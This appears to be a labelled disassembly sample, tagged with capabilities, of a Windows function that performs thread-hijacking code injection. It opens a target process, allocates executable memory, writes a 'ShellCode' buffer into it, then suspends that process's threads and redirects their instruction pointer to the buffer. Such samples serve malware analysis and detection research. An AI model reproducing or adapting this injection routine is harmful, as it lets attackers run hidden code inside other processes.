Function at 0x14001130c
Capabilities:
Allocate or change rwx memory
Enumerate threads
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
jmp 0x14001bb20
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x988
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x196
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x9a8]
mov rax, qword [0x140039040]
xor rax, rbp
mov qword [rbp + 0x948], rax
lea rcx, [0x1400410ff]
call fcn.140011a05
nop
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x44], 0
mov qword [rbp + 0x68], 0
mov rcx, qword [rbp + 0x978]
call fcn.140011690
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x14001bbb3
mov eax, 0xffffffff
jmp 0x14001beed
mov rcx, qword [rbp + 0x978]
call fcn.140011a23
mov dword [rbp + 0xc4], eax
cmp dword [rbp + 0xc4], 0
jne 0x14001bbd8
mov eax, 0xffffffff
jmp 0x14001beed
mov r8d, dword [rbp + 0x970]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x14001bc1d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rbp + 0x970]
lea rcx, str.Failed_to_Open_handle_to_process_PID__d__Error_Code_is0x_x_n
call fcn.1400114d3
nop
mov eax, 0xffffffff
jmp 0x14001beed
mov eax, dword [rbp + 0xc4]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x14001bc73
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rbp + 0x970]
lea rcx, str.Failed_to_Allocate_Memory_in_process_PID__d__Error_Code_is0x_x_n
call fcn.1400114d3
nop
mov eax, 0xffffffff
jmp 0x14001beed
mov eax, dword [rbp + 0xc4]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jne 0x14001bcc9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rbp + 0x970]
lea rcx, str.Failed_to_Write_to_Memory_in_process_PID__d__Error_Code_is0x_x_n
call fcn.1400114d3
nop
mov eax, 0xffffffff
jmp 0x14001beed
xor edx, edx
mov ecx, 4
call fcn.1400114e7
mov qword [rbp + 0xe8], rax
mov dword [rbp + 0x108], 0x1c
lea rax, [rbp + 0x10c]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov r8d, 0x4d0
xor edx, edx
lea rcx, [rbp + 0x150]
call fcn.1400117ad
nop
mov dword [rbp + 0x180], 0x10001f
lea rdx, [rbp + 0x108]
mov rcx, qword [rbp + 0xe8]
call fcn.1400116ae
test eax, eax
je 0x14001bee8
mov eax, dword [rbp + 0x970]
cmp dword [rbp + 0x114], eax
jne 0x14001becd
mov r8d, dword [rbp + 0x110]
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rbp + 0x638], rax
cmp qword [rbp + 0x638], 0
jne 0x14001bd8e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rbp + 0x970]
lea rcx, str.Failed_to_Open_handle_to_Thread_TID__d__Error_Code_is0x_x_n
call fcn.1400114d3
nop
jmp 0x14001becd
mov rcx, qword [rbp + 0x638]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0xffffffff
jne 0x14001bdd3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rbp + 0x970]
lea rcx, str.Failed_to_Suspend_Thread_TID__d__Error_Code_is0x_x_n
call fcn.1400114d3
nop
mov rcx, qword [rbp + 0x638]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x14001becd
lea rdx, [rbp + 0x150]
mov rcx, qword [rbp + 0x638]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14001bea3
mov rdx, qword [rbp + 0x68]
lea rcx, str.ShellCode_addr___p
call fcn.1400114d3
nop
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0x248], rax
lea rdx, [rbp + 0x150]
mov rcx, qword [rbp + 0x638]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x14001be4f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rbp + 0x970]
lea rcx, str.Failed_to_Set_Thread_Context_to_Thread_TID__d__Error_Code_is0x_x_n
call fcn.1400114d3
nop
mov rcx, qword [rbp + 0x638]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x14001becd
mov rcx, qword [rbp + 0x638]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0xffffffff
jne 0x14001be91
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rbp + 0x970]
lea rcx, str.Failed_to_Resume_Thread_TID__d__Error_Code_is0x_x_n
call fcn.1400114d3
nop
mov rcx, qword [rbp + 0x638]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x14001becd
mov rcx, qword [rbp + 0x638]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
jmp 0x14001beed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rbp + 0x970]
lea rcx, str.Failed_to_Get_Thread_Context_to_Thread_TID__d__Error_Code_is0x_x_n
call fcn.1400114d3
nop
mov rcx, qword [rbp + 0x638]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rdx, [rbp + 0x108]
mov rcx, qword [rbp + 0xe8]
call fcn.14001110e
test eax, eax
jne 0x14001bd33
mov eax, 0xffffffff
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14002f710]
call fcn.140011875
mov rax, rdi
mov rcx, qword [rbp + 0x948]
xor rcx, rbp
call fcn.14001150a
lea rsp, [rbp + 0x958]
pop rdi
pop rbp
ret